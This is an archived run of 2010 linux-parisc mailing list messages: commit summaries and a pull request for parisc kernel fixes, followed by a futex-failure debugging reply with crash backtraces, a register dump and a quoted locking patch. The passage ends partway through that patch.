To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Mar 06 23:58:55 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1No2xG-0007v7-Ly
	for glpp-linux-parisc@lo.gmane.org; Sat, 06 Mar 2010 23:58:43 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751352Ab0CFW6j (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 6 Mar 2010 17:58:39 -0500
Original-Received: from hera.kernel.org ([140.211.167.34]:57006 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751096Ab0CFW6i (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 6 Mar 2010 17:58:38 -0500
Original-Received: from hera.kernel.org (localhost [127.0.0.1])
	by hera.kernel.org (8.14.3/8.14.3) with ESMTP id o26MwbAV000580
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <linux-parisc@vger.kernel.org>; Sat, 6 Mar 2010 22:58:37 GMT
X-Virus-Status: Clean
X-Virus-Scanned: clamav-milter 0.95.2 at hera.kernel.org
Original-Received: (from kyle@localhost)
	by hera.kernel.org (8.14.3/8.14.2/Submit) id o26Mwb9x000577
	for linux-parisc@vger.kernel.org; Sat, 6 Mar 2010 22:58:37 GMT
User-Agent: Heirloom mailx 12.4 7/29/08
X-Spam-Status: No, score=-0.9 required=5.0 tests=ALL_TRUSTED,BAYES_00,
	DATE_IN_FUTURE_24_48 autolearn=no version=3.3.0
X-Spam-Checker-Version: SpamAssassin 3.3.0 (2010-01-18) on hera.kernel.org
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.2.3 (hera.kernel.org [127.0.0.1]); Sat, 06 Mar 2010 22:58:38 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2677
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2677>

New commits:
commit 6ee77658ce387ad6c85dcbda4a68bc33efd8de39
Author: Akinobu Mita <akinobu.mita@gmail.com>
Date:   Sun Feb 28 10:58:15 2010 +0000

    parisc: use __ratelimit in unaligned.c
    
    Replace open-coded rate limiting logic with __ratelimit().
    
    Signed-off-by: Akinobu Mita <akinobu.mita@gmail.com>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit c60185248fd1c7b777f08d3f3337836331da3d17
Author: john stultz <johnstul@us.ibm.com>
Date:   Wed Dec 23 04:14:03 2009 +0000

    parisc: Convert to read/update_persistent_clock
    
    This patch converts the parisc architecture to use the generic
    read_persistent_clock and update_persistent_clock interfaces, reducing
    the amount of arch specific code we have to maintain, and allowing for
    further cleanups in the future.
    
    I have not built or tested this patch, so help from arch maintainers
    would be appreciated.
    
    Signed-off-by: John Stultz <johnstul@us.ibm.com>
    Acked-by: Helge Deller <deller@gmx.de>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit eef83afbd6c2577c9fd07e1a280bb0beb603b293
Author: Robert P. J. Day <rpjday@crashcourse.ca>
Date:   Thu Dec 31 20:43:55 2009 +0000

    parisc: Simplify param.h by including <asm-generic/param.h>
    
    Signed-off-by: Robert P. J. Day <rpjday@crashcourse.ca>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit 1d747c7e7b754cacb9bc8d31854bdc3a58d70597
Author: Helge Deller <deller@gmx.de>
Date:   Tue Feb 2 19:06:23 2010 +0000

    parisc: drop unnecessary cast in __ldcw_align() macro
    
    __ldcw_align() can directly access the slock member of struct arch_spinlock_t
    instead of using an ugly cast.
    
    Signed-off-by: Helge Deller <deller@gmx.de>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit 888c31fc83ddc7fcd9947cb67c5718b4e3dd5e1b
Author: Helge Deller <deller@gmx.de>
Date:   Mon Feb 1 19:56:33 2010 +0000

    parisc: add strict copy size checks (v2)
    
    Add CONFIG_DEBUG_STRICT_USER_COPY_CHECKS, copied from the x86
    implementation. Tested with 32 and 64bit kernel.
    
    Signed-off-by: Helge Deller <deller@gmx.de>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit a3bee03e718c9251456676b71a723a34c999e891
Author: Frans Pop <elendil@planet.nl>
Date:   Sat Feb 6 17:47:14 2010 +0000

    parisc: remove trailing space in messages
    
    Signed-off-by: Frans Pop <elendil@planet.nl>
    Cc: linux-parisc@vger.kernel.org
    Cc: Kyle McMartin <kyle@mcmartin.ca>
    Cc: Helge Deller <deller@gmx.de>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit 81e4a5e3057740a625cf556879ae0becf6199f8c
Author: Kyle McMartin <kyle@mcmartin.ca>
Date:   Sat Dec 26 17:19:17 2009 +0000

    parisc: ditto sys_accept4
    
    tested with test_accept4.c from de11defebf00007677fb7ee91d9b089b78786fbb
    
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit 9ceb38e6b691debe4bf04cb63165c503a8556177
Author: Helge Deller <deller@gmx.de>
Date:   Tue Dec 22 22:50:33 2009 +0000

    parisc: wire up sys_recvmmsg
    
    Signed-off-by: Helge Deller <deller@gmx.de>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [git patches] parisc fixes for v2.6.34
Date: Sat, 6 Mar 2010 18:21:43 -0500
Lines: 16
Approved: news@gmane.org
Message-ID: <20100306232143.GM12443@bombadil.infradead.org>
References: <20100306232035.GA20546@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1267958042 3807 80.91.229.12 (7 Mar 2010 10:34:02 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 7 Mar 2010 10:34:02 +0000 (UTC)
Cc: torvalds@linux-foundation.org, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org
To: kyle@mcmartin.ca
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Mar 07 00:22:21 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1No3Jc-0007PT-28
	for glpp-linux-parisc@lo.gmane.org; Sun, 07 Mar 2010 00:21:48 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751611Ab0CFXVq (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 6 Mar 2010 18:21:46 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:53489 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751437Ab0CFXVq (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 6 Mar 2010 18:21:46 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1No3JX-0007bX-UU; Sat, 06 Mar 2010 23:21:43 +0000
Content-Disposition: inline
In-Reply-To: <20100306232035.GA20546@hera.kernel.org>
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2678 gmane.linux.kernel:958343
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2678>

On Sat, Mar 06, 2010 at 11:20:35PM +0000, Kyle McMartin wrote:
>   /pub/scm/linux/kernel/git/kyle/parisc-2.6.git for-linus
> 

Ugh, sorry, I meant of course:

master.kernel.org:/pub/scm/linux/kernel/git/kyle/parisc-2.6.git for-linus

My bad for forgetting to edit that.

regards, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [git patches] parisc fixes for v2.6.34
Date: Sat, 6 Mar 2010 23:20:35 +0000
Lines: 52
Approved: news@gmane.org
Message-ID: <20100306232035.GA20546@hera.kernel.org>
Reply-To: kyle@mcmartin.ca
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1267958046 3836 80.91.229.12 (7 Mar 2010 10:34:06 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 7 Mar 2010 10:34:06 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org
To: torvalds@linux-foundation.org
Original-X-From: linux-kernel-owner@vger.kernel.org Sun Mar 07 00:22:26 2010
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1No3Iv-0007PA-OV
	for glk-linux-kernel-3@lo.gmane.org; Sun, 07 Mar 2010 00:21:06 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752083Ab0CFXUm (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Sat, 6 Mar 2010 18:20:42 -0500
Original-Received: from hera.kernel.org ([140.211.167.34]:44452 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752689Ab0CFXUj (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Sat, 6 Mar 2010 18:20:39 -0500
Original-Received: from hera.kernel.org (localhost [127.0.0.1])
	by hera.kernel.org (8.14.3/8.14.3) with ESMTP id o26NKZht023500
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Sat, 6 Mar 2010 23:20:35 GMT
X-Virus-Status: Clean
X-Virus-Scanned: clamav-milter 0.95.2 at hera.kernel.org
Original-Received: (from kyle@localhost)
	by hera.kernel.org (8.14.3/8.14.2/Submit) id o26NKZe4023499;
	Sat, 6 Mar 2010 23:20:35 GMT
Content-Disposition: inline
User-Agent: Mutt/1.5.19 (2009-01-05)
X-Spam-Status: No, score=-0.9 required=5.0 tests=ALL_TRUSTED,BAYES_00,
	DATE_IN_FUTURE_24_48 autolearn=no version=3.3.0
X-Spam-Checker-Version: SpamAssassin 3.3.0 (2010-01-18) on hera.kernel.org
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.2.3 (hera.kernel.org [127.0.0.1]); Sat, 06 Mar 2010 23:20:35 +0000 (UTC)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:958344 gmane.linux.ports.parisc:2679
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2679>

Hi Linus, just a small parisc update for .34 as I've not had a chance to
fix up the new regset and tracehook stuff yet.

All of this code has been baking in -next since last release (except the
latest trivial ratelimit fix) and has been freshly rebased since jejb's
XFS coherence fix was merged seperately.

Tested to build and boot ok on my rp3440.

regards, Kyle

The following changes since commit 66b89159c25a47d2177743526c61b5ada7acc39e:
  Linus Torvalds (1):
        Merge git://git.kernel.org/.../joern/logfs

are available in the git repository at:

  /pub/scm/linux/kernel/git/kyle/parisc-2.6.git for-linus

Akinobu Mita (1):
      parisc: use __ratelimit in unaligned.c

Frans Pop (1):
      parisc: remove trailing space in messages

Helge Deller (3):
      parisc: wire up sys_recvmmsg
      parisc: add strict copy size checks (v2)
      parisc: drop unnecessary cast in __ldcw_align() macro

John Stultz (1):
      parisc: Convert to read/update_persistent_clock

Kyle McMartin (1):
      parisc: ditto sys_accept4

Robert P. J. Day (1):
      parisc: Simplify param.h by including <asm-generic/param.h>

 arch/parisc/Kconfig.debug          |   14 ++++++++++++++
 arch/parisc/include/asm/param.h    |   23 +----------------------
 arch/parisc/include/asm/system.h   |    2 +-
 arch/parisc/include/asm/uaccess.h  |   27 +++++++++++++++++++++++++--
 arch/parisc/include/asm/unistd.h   |    4 +++-
 arch/parisc/kernel/cache.c         |    4 ++--
 arch/parisc/kernel/syscall_table.S |    2 ++
 arch/parisc/kernel/time.c          |   29 +++++++++++++----------------
 arch/parisc/kernel/unaligned.c     |   14 ++++----------
 arch/parisc/lib/memcpy.c           |    3 ++-
 drivers/parisc/eisa_enumerator.c   |    2 +-
 drivers/parisc/superio.c           |    2 +-
 12 files changed, 69 insertions(+), 57 deletions(-)

From - Thu Nov 08 21:05:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex wait failure
Date: Sun, 7 Mar 2010 12:12:08 -0500
Organization: nrc.ca
Lines: 477
Approved: news@gmane.org
Message-ID: <20100307171207.GA22856@hiauly1.hia.nrc.ca>
References: <20100108211733.852134EF4@hiauly1.hia.nrc.ca> <4B689634.8060408@gmx.de> <20100203034420.GA8520@hiauly1.hia.nrc.ca> <4B69F2C5.30802@gmx.de>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1267981942 10164 80.91.229.12 (7 Mar 2010 17:12:22 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 7 Mar 2010 17:12:22 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	Carlos O'Donell <carlos@systemhalted.org>,
	Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Mar 07 18:12:16 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NoK1X-0007Bs-4v
	for glpp-linux-parisc@lo.gmane.org; Sun, 07 Mar 2010 18:12:15 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754385Ab0CGRMO (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 7 Mar 2010 12:12:14 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4915 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754184Ab0CGRMM (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 7 Mar 2010 12:12:12 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 78934513F; Sun,  7 Mar 2010 12:12:09 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <4B69F2C5.30802@gmx.de>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2680
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2680>

On Wed, 03 Feb 2010, Helge Deller wrote:

> On 02/03/2010 04:44 AM, John David Anglin wrote:
>> On Tue, 02 Feb 2010, Helge Deller wrote:
>>
>>> I wonder if we have some problems with the LWS code path in the kernel
>>> regarding atomic locking with futexes?
>>>
>>> In arch/parisc/kernel/syscall.S we use a lock table called 
>>> lws_lock_start[]
>>> to guard the LWS code against other competing userspace processes.
>>> I wonder if this really enough, esp. since we do implement futex syscalls
>>> (e.g. clone/exit calls uses futex functions to change userspace values
>>> because of CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID).
>>>
>>> Do we maybe need to protect the LWS code path with the same locking table
>>> as the
>>> generic kernel? Atomicity of futexes writing to userspace are not in sync
>>> with the locking of the LWS/lws_lock_start[] code.
>>>
>>> I tried to come up with a patch for that which I attached here, but sadly
>>> it hangs as soon as the init process is started on a 64bit/SMP kernel.
>>> So either my thinking here is stupid, or I do have a stupid coding bug.
>>>
>>> Furthermore, the coding for futex_atomic_op_inuser() in
>>> arch/parisc/include/asm/futex.h seems to miss real functionality.
>>> I didn't looked closer into this though.
>>
>> While locking may be a problem, it is not the main reason the minifail
>> program fails.  The program fails on my c3750 with a 32-bit UP kernel.
>
> Hmm, I can't reproduce it at the moment with a 32bit UP kernel on my
> c3000. The minifail3 test program I currently use (to avoid glibc issues)
> is attached.
>
>> There is no locking in this kernel.  The LWS code relies on the scheduler
>> for atomicity.
>
> yep. This should then work an a UP kernel.
>
>> I tried disabling interrupts around the crucial three instructions but
>> it didn't help.
>
> Ugh.
>
> Anyway, my current patch which compiles and runs fine is attached here as
> well. Maybe you want to try it on your SMP builds? It includes the 
> syscall.S
> changes you sent last time too.
> In this version of the patch I added on own LWS locking hash table for 
> user-space accesses,
> which is used in the LWS code and when some (probably not all) put_user()/
> get_user() calls are made in the futex code.
>
> Feedback still welcome.

I tried the patch below with 2.6.33 on three systems:

rp3440: 64-bit UP and SMP
A500-7X: 64-bit SMP
c3750: 32-bit UP

libc6 is 2.10.2-6.

As usual, I tested by trying to build and check GCC.

The most common problem on the rp3440 SMP build is a segmentation fault
in /bin/sh.  Twice it dropped core running configure near the start of
the build.  Restarting the build, the system managed to complete a full
GCC build, but the gcc and acats testsuites aborted.  Here's the backtrace
for the acats one:

Core was generated by `/bin/bash /home/dave/gnu/gcc/gcc/gcc/testsuite/ada/acats/run_all.sh'.
Program terminated with signal 11, Segmentation fault.
#0  0x00000008 in ?? ()
(gdb) bt
#0  0x00000008 in ?? ()
#1  0x0004ffd0 in stop_pipeline ()
#2  0x0003daf8 in execute_command_internal ()
#3  0x0003e3a8 in execute_command_internal ()
#4  0x0003e74c in execute_command ()
#5  0x0003e364 in execute_command_internal ()
#6  0x0003e74c in execute_command ()
#7  0x0003e364 in execute_command_internal ()
#8  0x0003e74c in execute_command ()
#9  0x0003e0a0 in execute_command_internal ()
#10 0x0003e3a8 in execute_command_internal ()
#11 0x0003e74c in execute_command ()
#12 0x0003e0a0 in execute_command_internal ()
#13 0x0003e74c in execute_command ()
#14 0x00029ac0 in reader_loop ()
#15 0x00029100 in main ()

I ran the UP build for several days without any major problems.  The most
common problem is tests randomly timeout.  I'm not sure whether the tests
actually timeout or not, but everyone that I've looked at shouldn't timeout
based on execution time.

I had pretty much the same experience on the A500-7X although I haven't
seen /bin/sh dump core running configure.

The c3750 completed a full GCC build but there were again problems running
the testsuite.  For example,

Core was generated by `expect -- /usr/share/dejagnu/runtest.exp --tool gcc'.
Program terminated with signal 11, Segmentation fault.
#0  0x409fa258 in ?? () from /usr/lib/libtcl8.5.so.0
(gdb) bt
#0  0x409fa258 in ?? () from /usr/lib/libtcl8.5.so.0
#1  0x402600a0 in start_thread (arg=0x416a4480) at pthread_create.c:302
#2  0x40e25874 in clone ()
    at ../ports/sysdeps/unix/sysv/linux/hppa/nptl/../clone.S:166
#3  0x00000000 in ?? ()

This looks like the minifail clone bug.  On the otherhand, minifail doesn't
seem to be failing.

This is the assembly code:

(gdb) disass 0x409fa248 0x409fa268
Dump of assembler code from 0x409fa248 to 0x409fa268:
0x409fa248:     copy r18,ret0
0x409fa24c:     stw r0,0(ret0)
0x409fa250:     ldo 4(ret0),ret0
0x409fa254:     cmpb,<>,n r7,ret0,0x409fa250
0x409fa258:     stw r0,0(ret0)
0x409fa25c:     copy r7,ret0
0x409fa260:     stw r0,0(ret0)
0x409fa264:     ldo 4(ret0),ret0

This may be the register.  There are several dumps in the log at the same spot.

Mar  7 11:48:18 hiauly6 kernel: do_page_fault() pid=3506 command='expect' type=1
5 address=0x416a3000
Mar  7 11:48:18 hiauly6 kernel: vm_start = 0x416a3000, vm_end = 0x416a4000
Mar  7 11:48:18 hiauly6 kernel: 
Mar  7 11:48:18 hiauly6 kernel:      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
Mar  7 11:48:18 hiauly6 kernel: PSW: 00000000000011101111111100001111 Not tainte
d
Mar  7 11:48:18 hiauly6 kernel: r00-03  000eff0f 40276138 409fa4ff 00000000
Mar  7 11:48:18 hiauly6 kernel: r04-07  40a252f4 40ea5208 0001ccb8 00000000
Mar  7 11:48:18 hiauly6 kernel: r08-11  40a252f4 40ea539c 00000003 40a2990c
Mar  7 11:48:18 hiauly6 kernel: r12-15  40ea521c 40a29904 40ea5214 00000001
Mar  7 11:48:18 hiauly6 kernel: r16-19  00000008 40a232d8 40ea521c 40a252f4
Mar  7 11:48:18 hiauly6 kernel: r20-23  00000001 00000000 402636cc 00000000
Mar  7 11:48:18 hiauly6 kernel: r24-27  fffffff5 ffffffd3 0001c538 000121ac
Mar  7 11:48:18 hiauly6 kernel: r28-31  416a3000 00000000 40ea5440 40263733
Mar  7 11:48:18 hiauly6 kernel: sr00-03  00000026 00000000 00000000 00000026
Mar  7 11:48:18 hiauly6 kernel: sr04-07  00000026 00000026 00000026 00000026
Mar  7 11:48:18 hiauly6 kernel: 
Mar  7 11:48:18 hiauly6 kernel:       VZOUICununcqcqcqcqcqcrmunTDVZOUI
Mar  7 11:48:18 hiauly6 kernel: FPSR: 00001100001110000000000000000000
Mar  7 11:48:18 hiauly6 kernel: FPER1: 00000000
Mar  7 11:48:18 hiauly6 kernel: fr00-03  0c38000000000000 0000000000000000 00000
00000000000 0000000000000000
Mar  7 11:48:18 hiauly6 kernel: fr04-07  0000000000000001 0370000000000000 0000000100000000 bff0000000000000
Mar  7 11:48:18 hiauly6 kernel: fr08-11  000000024f813bc4 0000000000000000 4f813bc04f813bc8 0000800100000003
Mar  7 11:48:18 hiauly6 kernel: fr12-15  000000004facfd40 000000001019db40 4f81169cf0000174 f000017cf0000884
Mar  7 11:48:18 hiauly6 kernel: fr16-19  1044111810590240 1044111800000081 f000000000000000 0000000000000000
Mar  7 11:48:18 hiauly6 kernel: fr20-23  00000002ffffff9c fffff0004f1a4000 0000000000000088 400026c000000000
Mar  7 11:48:18 hiauly6 kernel: fr24-27  01f2603af000017c f000017400000001 105a928c00000000 4fb50230ffffffff
Mar  7 11:48:18 hiauly6 kernel: fr28-31  ffffffff00002b67 105a92881019487c 0000000100000000 4f82820000000800
Mar  7 11:48:18 hiauly6 kernel: 
Mar  7 11:48:18 hiauly6 kernel: IASQ: 00000026 00000026 IAOQ: 409fa25b 409fa253
Mar  7 11:48:18 hiauly6 kernel:  IIR: 0f801280    ISR: 00000026  IOR: 416a3000
Mar  7 11:48:18 hiauly6 kernel:  CPU:        0   CR30: 3c014000 CR31: ffffffff
Mar  7 11:48:18 hiauly6 kernel:  ORIG_R28: 00000080
Mar  7 11:48:18 hiauly6 kernel:  IAOQ[0]: 409fa25b
Mar  7 11:48:18 hiauly6 kernel:  IAOQ[1]: 409fa253
Mar  7 11:48:18 hiauly6 kernel:  RP(r2): 409fa4ff

The address appears valid.  This is a TLB miss exception (15).

> diff --git a/arch/parisc/include/asm/atomic.h b/arch/parisc/include/asm/atomic.h
> index 716634d..18d57c8 100644
> --- a/arch/parisc/include/asm/atomic.h
> +++ b/arch/parisc/include/asm/atomic.h
> @@ -24,29 +24,46 @@
>   * Hash function to index into a different SPINLOCK.
>   * Since "a" is usually an address, use one spinlock per cacheline.
>   */
> -#  define ATOMIC_HASH_SIZE 4
> -#  define ATOMIC_HASH(a) (&(__atomic_hash[ (((unsigned long) (a))/L1_CACHE_BYTES) & (ATOMIC_HASH_SIZE-1) ]))
> +#  define ATOMIC_HASH_SIZE (4096/L1_CACHE_BYTES)  /* 4 */
> +#  define ATOMIC_HASH(a)      (&(__atomic_hash[ (((unsigned long) (a))/L1_CACHE_BYTES) & (ATOMIC_HASH_SIZE-1) ]))
> +#  define ATOMIC_USER_HASH(a) (&(__atomic_user_hash[ (((unsigned long) (a))/L1_CACHE_BYTES) & (ATOMIC_HASH_SIZE-1) ]))
>  
>  extern arch_spinlock_t __atomic_hash[ATOMIC_HASH_SIZE] __lock_aligned;
> +extern arch_spinlock_t __atomic_user_hash[ATOMIC_HASH_SIZE] __lock_aligned;
>  
>  /* Can't use raw_spin_lock_irq because of #include problems, so
>   * this is the substitute */
> -#define _atomic_spin_lock_irqsave(l,f) do {	\
> -	arch_spinlock_t *s = ATOMIC_HASH(l);		\
> +#define _atomic_spin_lock_irqsave_template(l,f,hash_func) do {	\
> +	arch_spinlock_t *s = hash_func;		\
>  	local_irq_save(f);			\
>  	arch_spin_lock(s);			\
>  } while(0)
>  
> -#define _atomic_spin_unlock_irqrestore(l,f) do {	\
> -	arch_spinlock_t *s = ATOMIC_HASH(l);			\
> +#define _atomic_spin_unlock_irqrestore_template(l,f,hash_func) do {	\
> +	arch_spinlock_t *s = hash_func;			\
>  	arch_spin_unlock(s);				\
>  	local_irq_restore(f);				\
>  } while(0)
>  
> +/* kernel memory locks */
> +#define _atomic_spin_lock_irqsave(l,f)	\
> +	_atomic_spin_lock_irqsave_template(l,f,ATOMIC_HASH(l))
> +
> +#define _atomic_spin_unlock_irqrestore(l,f)	\
> +	_atomic_spin_unlock_irqrestore_template(l,f,ATOMIC_HASH(l))
> +
> +/* userspace memory locks */
> +#define _atomic_spin_lock_irqsave_user(l,f)	\
> +	_atomic_spin_lock_irqsave_template(l,f,ATOMIC_USER_HASH(l))
> +
> +#define _atomic_spin_unlock_irqrestore_user(l,f)	\
> +	_atomic_spin_unlock_irqrestore_template(l,f,ATOMIC_USER_HASH(l))
>  
>  #else
>  #  define _atomic_spin_lock_irqsave(l,f) do { local_irq_save(f); } while (0)
>  #  define _atomic_spin_unlock_irqrestore(l,f) do { local_irq_restore(f); } while (0)
> +#  define _atomic_spin_lock_irqsave_user(l,f) _atomic_spin_lock_irqsave(l,f)
> +#  define _atomic_spin_unlock_irqrestore_user(l,f) _atomic_spin_lock_irqsave_user(l,f)
>  #endif
>  
>  /* This should get optimized out since it's never called.
> diff --git a/arch/parisc/include/asm/futex.h b/arch/parisc/include/asm/futex.h
> index 0c705c3..7bc963e 100644
> --- a/arch/parisc/include/asm/futex.h
> +++ b/arch/parisc/include/asm/futex.h
> @@ -55,6 +55,7 @@ futex_atomic_cmpxchg_inatomic(int __user *uaddr, int oldval, int newval)
>  {
>  	int err = 0;
>  	int uval;
> +	unsigned long flags;
>  
>  	/* futex.c wants to do a cmpxchg_inatomic on kernel NULL, which is
>  	 * our gateway page, and causes no end of trouble...
> @@ -65,10 +66,15 @@ futex_atomic_cmpxchg_inatomic(int __user *uaddr, int oldval, int newval)
>  	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(int)))
>  		return -EFAULT;
>  
> +	_atomic_spin_lock_irqsave_user(uaddr, flags);
> +
>  	err = get_user(uval, uaddr);
> -	if (err) return -EFAULT;
> -	if (uval == oldval)
> -		err = put_user(newval, uaddr);
> +	if (!err)
> +		if (uval == oldval)
> +			err = put_user(newval, uaddr);
> +
> +	_atomic_spin_unlock_irqrestore_user(uaddr, flags);
> +
>  	if (err) return -EFAULT;
>  	return uval;
>  }
> diff --git a/arch/parisc/include/asm/system.h b/arch/parisc/include/asm/system.h
> index d91357b..4653c77 100644
> --- a/arch/parisc/include/asm/system.h
> +++ b/arch/parisc/include/asm/system.h
> @@ -160,7 +160,7 @@ static inline void set_eiem(unsigned long val)
>     ldcd). */
>  
>  #define __PA_LDCW_ALIGNMENT	4
> -#define __ldcw_align(a) ((volatile unsigned int *)a)
> +#define __ldcw_align(a) (&(a)->slock)
>  #define __LDCW	"ldcw,co"
>  
>  #endif /*!CONFIG_PA20*/
> diff --git a/arch/parisc/kernel/asm-offsets.c b/arch/parisc/kernel/asm-offsets.c
> index ec787b4..50353bd 100644
> --- a/arch/parisc/kernel/asm-offsets.c
> +++ b/arch/parisc/kernel/asm-offsets.c
> @@ -290,5 +290,11 @@ int main(void)
>  	BLANK();
>  	DEFINE(ASM_PDC_RESULT_SIZE, NUM_PDC_RESULT * sizeof(unsigned long));
>  	BLANK();
> +
> +#ifdef CONFIG_SMP
